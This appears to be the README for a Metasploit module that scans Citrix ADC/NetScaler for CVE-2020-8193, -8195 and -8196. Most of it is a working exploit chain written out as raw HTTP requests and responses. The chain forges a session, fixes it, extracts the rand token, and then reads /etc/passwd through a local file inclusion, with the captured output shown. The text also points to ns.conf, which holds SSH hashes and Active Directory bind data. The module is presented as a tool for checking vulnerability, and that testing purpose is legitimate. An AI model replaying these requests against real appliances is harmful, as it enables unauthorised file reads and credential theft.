citrix_adc_netscaler_lfi_scan

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This Metasploit-Framework module can be use to help companies to check the last Citrix vulnerabilites (disclosed July 08, 2020).

CVE-2020-8193
CVE-2020-8195
CVE-2020-8196

Public reporting on July 8th, 2020 by Donny Maasland discussed how the vulnerability could be exploited.

As of July 10th, RIFT has confirmed that this vulnerability can be used to extract valid VPN sessions from a vulnerable instance.

Requests

0x1 create_session (initiate)

First, you need to get the session ID.

POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
X-NITRO-USER: LCGSfX
X-NITRO-PASS: fYiZon
Content-Type: application/xml
Content-Length: 44
Connection: close

<appfwprofile><login></login></appfwprofile>

HTTP/1.1 406 Not Acceptable
Date: Tue, 14 Jul 2020 09:13:23 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-XSS-Protection: 1; mode=block
Content-Length: 4489
Connection: close
Content-Type: application/xml; charset=utf-8

0x2 fix_session_rand

Then, you need to fix the session. You can take advantage of this step to obtain the rand value (and save yourself an additional request to /menu/stc).

GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
Content-Type: application/x-www-form-urlencoded
Connection: close

HTTP/1.1 302 Found
Date: Tue, 14 Jul 2020 09:13:27 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: is_cisco_platform=0; expires=Fri, 09-Jul-2021 09:13:27 GMT; Max-Age=31104000; path=/; HttpOnly
Location: /menu/neo
X-XSS-Protection: 1; mode=block
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

You need to follow the redirect.

GET /menu/neo HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
Content-Type: application/x-www-form-urlencoded
Connection: close

And get the rand value from body response.

HTTP/1.1 200 OK
Date: Tue, 14 Jul 2020 09:13:30 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: startupapp=neo; expires=Fri, 09-Jul-2021 09:13:30 GMT; Max-Age=31104000; path=/; HttpOnly
Vary: Accept-Encoding
X-XSS-Protection: 1; mode=block
Content-Length: 1590
Connection: close
Content-Type: text/html;application/octet-stream;application/ecmascript;application/json;application/xml;charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XDEV_HTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Citrix ADC - Configuration</title>
<script type="text/javascript">var neo_logout_url = "/menu/lo?rand=478257144.1894793017920341";</script>
<script type="text/javascript">var neo_machine_sysid = "450092";var rand = "478257144.1894793017920341";var partition_dir = "";var is_ha_supported_in_gui = "true";var login_warning = "";</script>
<script type="text/javascript">var global_data = "{global_data}";</script>
<link href="/admin_ui/rdx/core/css/rdx.css" rel="stylesheet" type="text/css"/>
<link href="/admin_ui/neo/css/neo.css" rel="stylesheet" type="text/css"/>
<!--[if IE]> <style type="text/css"> .form td input[type="submit"] { width: 50px; } </style> <![endif]-->
<script type="text/javascript" src="/admin_ui/rdx/core/js/rdx.js"></script>
<script type="text/javascript" src="/menu/branding"></script>
<script type="text/javascript" src="/menu/neoglobaldata"></script>
<script type="text/javascript" src="/menu/neoa?gui_token=478257144.1894793017920341"></script>
<script type="text/javascript" src="/admin_ui/neo/js/neo.js"></script>
<script type="text/javascript" src="/admin_ui/neo/js/epa_expression_data_win.js"></script>
<script type="text/javascript" src="/admin_ui/neo/js/epa_expression_data_mac.js"></script>
</head>
<body class="ns_body">
</body>
</html>

0x3 create_session (breaking)

POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
X-NITRO-USER: PjdFbLCc
X-NITRO-PASS: xyFoLmXD
Content-Type: application/xml
Content-Length: 44
Connection: close

<appfwprofile><login></login></appfwprofile>

HTTP/1.1 406 Not Acceptable
Date: Tue, 14 Jul 2020 09:13:33 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-XSS-Protection: 1; mode=block
Content-Length: 4489
Connection: close
Content-Type: application/xml; charset=utf-8

0x4 read_lfi

POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
X-NITRO-USER: UGjkHm
X-NITRO-PASS: NbIEBHxw
rand_key: 478257144.1894793017920341
Content-Type: application/xml
Content-Length: 31
Connection: close

<clipermission></clipermission>

HTTP/1.1 406 Not Acceptable
Date: Tue, 14 Jul 2020 09:13:37 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: -1
Cache-Control: private, must-revalidate, post-check=0, pre-check=0
Pragma: private
Content-Disposition: attachment;filename="passwd"
Accept-Ranges: bytes
Content-Length: 465
X-XSS-Protection: 1; mode=block
Connection: close
Content-Type: application/octet-stream

root:*:0:0:Charlie &:/root:/usr/bin/bash
nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
nsmonitor:*:65532:65534:Netscaler Monitoring user:/var/nstmp/monitors:/usr/sbin/nologin

Exploit Development and Impact

An attacker can take advantage of this vulnerability to obtain sensitive information on vulnerable Citrix systems.

A small overview of what we observed on a Citrix Netscaler 12.1 build 55.18.

Possibility to read /nsconfig/ns.conf:

This is the configuration file for the Netscaler. It contains the hashes of users authorized to connect to the Netscaler in SSH (including the user nsroot). This file also contain other information such as that used to bind an Active Directory (for example).

A few interesting output:

citrix_adc_netscaler_lfi

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